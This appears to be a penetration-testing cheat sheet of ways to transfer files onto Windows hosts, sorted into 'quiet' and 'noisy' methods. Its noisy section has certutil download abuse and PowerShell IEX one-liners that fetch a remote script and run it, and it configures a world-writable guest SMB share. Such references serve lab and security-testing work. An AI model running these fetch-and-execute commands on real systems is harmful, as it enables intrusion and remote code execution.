Download to Windows¶

Quiet Methods¶

Enterprise Distribution (SCCM/Intune/EDR-brokered)¶

Use sanctioned software delivery where available; best for scale and auditability.

WinRM - Remote Execution Tools ¶

$session = New-PSSession -ComputerName <host> -Authentication Kerberos
Copy-Item '<local_path>' -Destination 'C:\Path\' -ToSession $session
Remove-PSSession $session

SMB¶

impacket-smbserver¶

impacket-smbserver <share_name> <directory_of_share> -smb2support -user <share_user> -password <share_password>

- Credentials optional. Can skip next step if not used. - Some machines do not work with smb2support. Other machines require it.

Samba¶

Samba configuration file: /etc/samba/smb.conf

[share]
comment = My Share
browseable = yes
path = /srv/SMB
read only = no
guest ok = yes
writable = yes
create mask = 0777

Give SMB permissions to the share directory.

chmod 777 <share_directory>

Start samba

systemctl restart smbd

PowerShell¶

$pass  = ConvertTo-SecureString '<password>' -AsPlainText -Force
$cred  = New-Object System.Management.Automation.PSCredential('<domain>\<username>', $pass)
New-PSDrive -Name X -PSProvider FileSystem -Root \\<ip>\<share_name> -Credential $cred
Copy-Item '<local_path>' X:\
Remove-PSDrive -Name X

CMD¶

net use X: \\<ip_address>\<share_name> /user:<domain>\<username> <password>
copy "<local_path>" X:\
net use X: /delete /y

Internal HTTPS Staging (approved host)¶

Start-BitsTransfer -Source http://example.com/file -Destination "<output_location>"

Invoke-WebRequest -Uri http://example.com/file -OutFile "<output_location>"

SSH¶

scp "<local_path>" <user>@<linux_ip>:/path/

Noisy Methods - Lab/CTF Use¶

Download files¶

curl.exe -o "<output_location>" http://example.com/file

curl.exe -O http://example.com/file

powershell -Command "Add-Type -AssemblyName System.Net.Http;$u='http://example.com/file';$p='<output_location>';$c=New-Object System.Net.Http.HttpClient;[IO.File]::WriteAllBytes($p,$c.GetByteArrayAsync($u).Result);$c.Dispose()"

(New-Object System.Net.WebClient).DownloadFile('http://example.com/file','<output_location>')

certutil -urlcache -split -f http://example.com/file "<output_location>"

Download and run powershell script¶

Invoke-WebRequest -Uri http://example.com/script.ps1 -OutFile .\script.ps1

IEX (Invoke-WebRequest http://example.com/script.ps1).Content

IEX (Invoke-WebRequest http://example.com/script.ps1 -UseBasicParsing).Content